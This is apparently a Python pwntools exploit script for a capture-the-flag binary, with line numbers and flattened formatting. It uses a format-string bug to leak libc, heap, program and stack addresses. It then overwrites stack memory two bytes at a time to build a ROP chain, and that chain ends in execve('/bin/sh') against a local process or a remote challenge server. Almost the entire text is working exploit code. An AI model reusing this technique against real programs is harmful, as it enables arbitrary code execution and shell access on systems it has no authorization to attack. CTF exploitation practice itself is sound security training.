1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155
| from time import sleep from pwn import *
arch = 64 challenge = './bad1'
context.os='linux'
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc.so.6')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
cmd = "set debug-file-directory ./.debug/\nb *$rebase(0x1254)\n" def debug(): gdb.attach(p," b *$rebase(0x1226)\n") pause() def cmd(op): sla(">",str(op))
def exp(): def pwn(target): global magic_stack2 if(target < 0x10000): payload = "%{}c%8$hn\n%{}c%10$hn\n".format(magic_stack1,magic_gadget-1-magic_stack1).ljust(0x60,"\x00") sla("try it: ",payload) magic_stack2 = magic_stack2 + 8
for i in range(3): magic_gadget = (target >> 16*i)%0x10000 success("magic_gadget >> "+hex(magic_gadget)) if(magic_stack1 > magic_gadget): payload = "%{}c%10$hn\n%{}c%8$hn\n".format(magic_gadget,magic_stack1-1-magic_gadget).ljust(0x60,"\x00") sla("try it: ",payload) else: payload = "%{}c%8$hn\n%{}c%10$hn\n".format(magic_stack1,magic_gadget-1-magic_stack1).ljust(0x60,"\x00") sla("try it: ",payload)
y = i+1 if(i == 2): magic_stack2 = magic_stack2 + 8 y = 0
if(magic_stack2 > magic_main): payload = "%{}c%10$hn\n%{}c%8$hn\n".format(magic_main,magic_stack2-1+2*y-magic_main).ljust(0x60,"\x00") sla("try it: ",payload) else: payload = "{}c%8$hn\n%{}c%10$hn\n%".format(magic_stack2,magic_main-1+2*y-magic_stack2).ljust(0x60,"\x00") sla("try it: ",payload)
magic = 0xdc08-0x38 payload = "%3$p\n%1$p\n%9$p\n%6$p\n" payload += "%{}c%8$hn\n".format(magic) sla("try it: ",payload)
leak_addr = eval(p.recvuntil("\n")[:-1]) libc_base = leak_addr - 0x114992 leak_addr = eval(p.recvuntil("\n")[:-1]) heap_base = leak_addr - 0x2a0 leak_addr = eval(p.recvuntil("\n")[:-1]) pro_base = leak_addr - 0x1248 leak_addr = eval(p.recvuntil("\n")[:-1]) stack_addr = leak_addr - 0x148 success("libc_base >> "+hex(libc_base)) success("heap_base >> "+hex(heap_base)) success("pro_base >> "+hex(pro_base)) success("stack_addr >> "+hex(stack_addr))
io_list_all = libc_base + libc.sym["_IO_list_all"] one_gadget = libc_base + 0x50a37 system = libc_base + libc.sym["system"] binsh_addr = libc_base + 0x1d8698 pop_rax_ret = libc_base + 0x0000000000045eb0 pop_rdi_ret = libc_base + 0x000000000002a3e5 pop_rsi_ret = libc_base + 0x000000000002be51 pop_rcx_ret = libc_base + 0x000000000008c6bb pop_rbx_ret = libc_base + 0x0000000000035dd1 pop_rdx_r12_ret = libc_base + 0x000000000011f497 syscall_ret = libc_base + 0x0000000000091396 mov_rdi_rbx_call_rcx = libc_base + 0x000000000015e9d8 add_rax_1_ret = libc_base + 0x00000000000d83b0 mov_rax_n1_ret = libc_base + 0x000000000004244e mov_rdx_256_ret =libc_base + 0x00000000000ecfe7
success("io_list_all >> "+hex(io_list_all)) success("system >> "+hex(system)) success("binsh_addr >> "+hex(binsh_addr)) success("pop_rdi_ret >> "+hex(pop_rdi_ret)) success("one_gadget >> "+hex(one_gadget))
magic_stack1 = (stack_addr + 0x18)%0x10000 magic_stack2 = (stack_addr + 0x38)%0x10000 magic_main = (pro_base + 0x123B)%0x10000 magic_one1 = (one_gadget)%0x10000 magic_one2 = (one_gadget >> 16)%0x10000
payload = "%{}c%10$hn\n%{}c%8$hn\n".format(magic_main,magic_stack2-1-magic_main).ljust(0x60,"\x00") sla("try it: ",payload)
pwn(pop_rsi_ret) pwn(stack_addr+0x80) pwn(mov_rdx_256_ret) pwn(mov_rax_n1_ret) pwn(add_rax_1_ret) pwn(pop_rcx_ret) pwn(binsh_addr) pwn(pop_rcx_ret) pwn(syscall_ret) pwn(mov_rdi_rbx_call_rcx)
sla("try it: ","1"*0x20) sla("try it: ","2"*0x20)
payload = p64(pop_rax_ret)+p64(59)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_r12_ret)+p64(0)+p64(0)+p64(syscall_ret) sla("22222222222222222222222222222222",payload)
p.interactive()
while(1): try: local = 1 if local: p = process(challenge) else: p = remote('119.13.105.35','10111') exp() sla("cat flag") flag = p.recvline() success("flag >> "+flag) break except: p.close()
|